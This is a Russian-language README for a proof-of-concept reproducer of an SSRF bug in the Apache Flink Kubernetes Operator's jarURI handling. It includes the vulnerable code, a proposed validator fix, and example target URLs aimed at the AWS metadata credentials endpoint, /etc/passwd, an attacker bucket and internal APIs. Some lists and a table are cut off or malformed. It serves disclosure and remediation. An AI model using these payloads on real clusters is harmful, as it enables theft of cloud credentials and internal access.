
CVE-2026-40564: SSRF через jarURI FlinkSessionJob в apache/flink-kubernetes-operator. Автономный воспроизводитель, который запускается на локальном kind-кластере одной командой make.
Apache Flink Kubernetes Operator не проверяет поле spec.job.jarURI в ресурсах FlinkSessionJob (или FlinkDeployment). Любой, кто может создать такой ресурс, может установить jarURI в любой URL. Когда оператор выполняет сверку (reconcile) ресурса, он загружает этот URL изнутри своего пода. Схема может быть http, https, file или любой из файловых плагинов, поставляемых с Flink, поэтому запрос может уйти практически куда угодно, куда может дотянуться под оператора.
main (1.15-SNAPSHOT по состоянию на 2026-04-09)[email protected] и [email protected] 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
При этом последовательно выполняются пять шагов:
FlinkSessionJob, чей jarURI указывает на негоКогда всё работает, конец запуска выглядит так:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
Первый запуск занимает около 6–8 минут. Бо́льшая часть этого времени уходит на загрузку образа flink:1.17, который весит около 700 МБ. Последующие запуски занимают около 3 минут.
docker, kind, kubectl 1.23 или новее, helm 3, make, curl и jq. Кластер должен иметь доступ в интернет, чтобы взаимодействовать с webhook.site.
По умолчанию Makefile сам получает свежий URL webhook.site. Чтобы отправить запрос куда-то ещё, задайте SSRF_URL — полный jarURI, который нужен. Он используется как есть.
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd
Способ подтверждения результата зависит от цели. Если URL находится на webhook.site, Makefile читает его REST API и выводит перехваченные запросы. Для всего остального он читает лог оператора и ищет кадр стека HttpArtifactFetcher.fetch, который показывает, что загрузка выполнялась. WEBHOOK_URL тоже работает и означает то же самое, что и SSRF_URL.
make cleanup
Эта команда удаляет kind-кластер. Ничего не остаётся.
Задействованы три класса, и ни один из них не смотрит на схему, хост или IP в jarURI.
DefaultValidator.validateJobSpec проверяет параллелизм, режим обновления, настройки savepoint и форму ресурсов. Он никогда не читает job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch выбирает загрузчик по схеме. Никакого разрешённого списка нет, и всё, что не является http или https, попадает в файловый слой Flink:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch открывает URL как есть. Никакой проверки хоста, никакой проверки диапазонов IP и ничто не мешает обращаться к loopback или link-local адресам:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
Обычно оператор работает с широкими правами RBAC. Официальный Helm-чарт выдаёт * на несколько типов ресурсов, включая секреты, и под, как правило, имеет неограниченный доступ к сети. Если вам удастся заставить его отправлять запросы, вы можете:
FlinkSessionJobВ общем кластере, где один и тот же оператор используют несколько команд, любая из них может применить его для доступа к ресурсам другой команды.
Репродуктор по умолчанию использует webhook.site, но багу безразлично, какой URL задан. Установите SSRF_URL или отредактируйте manifests/vulnerable-sessionjob.yaml, выбрав один из вариантов:
Добавьте проверку в DefaultValidator.validateJobSpec:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
Задайте KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES значение по умолчанию Set.of("https"). Операторам, которым нужна s3 или другая схема, достаточно добавить её.
Стоит сделать ещё две вещи:
NetworkPolicy для пода оператора, которая блокирует исходящие соединения на link-local (169.254.0.0/16), loopback и известные адреса облачных metadata-сервисов.Makefile обходит две проблемы, которые ломают kind на Linux. Каждая проверка выполняется только тогда, когда проблема действительно присутствует, так что повторный запуск безопасен.
/etc/resolv.conf узла kind указывает на 127.0.0.1, поэтому кластер резолвит внешние имена в localhost. Шаг cluster-up перезаписывает конфигурацию CoreDNS, чтобы она пробрасывала запросы на 1.1.1.1 и 8.8.8.8.ndots, равном 5, к имени вроде webhook.site сначала добавляются search-домены хоста, и некоторые провайдеры отвечают 127.0.0.1 на незнакомые поддомены. Шаг install-operator выдаёт поду оператора собственный dnsConfig, чтобы этого не происходило.Если полный запуск прервётся на полпути, вы можете выполнить make verify-ssrf отдельно. Он читает jarURI из живого FlinkSessionJob, поэтому не зависит от каких-либо локально сохранённых данных.
jarURI |
|---|
| Доступ |
|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, IAM-учётные данные узла пода оператора |
http://10.0.0.1:6443/api | Внутрикластерный apiserver или любой внутренний endpoint, который добавляет IP оператора в белый список |
file:///etc/passwd | Собственная файловая система пода оператора, через ветку файлового загрузчика |
s3://attacker-bucket/x.jar | S3, с использованием учётных данных пода оператора |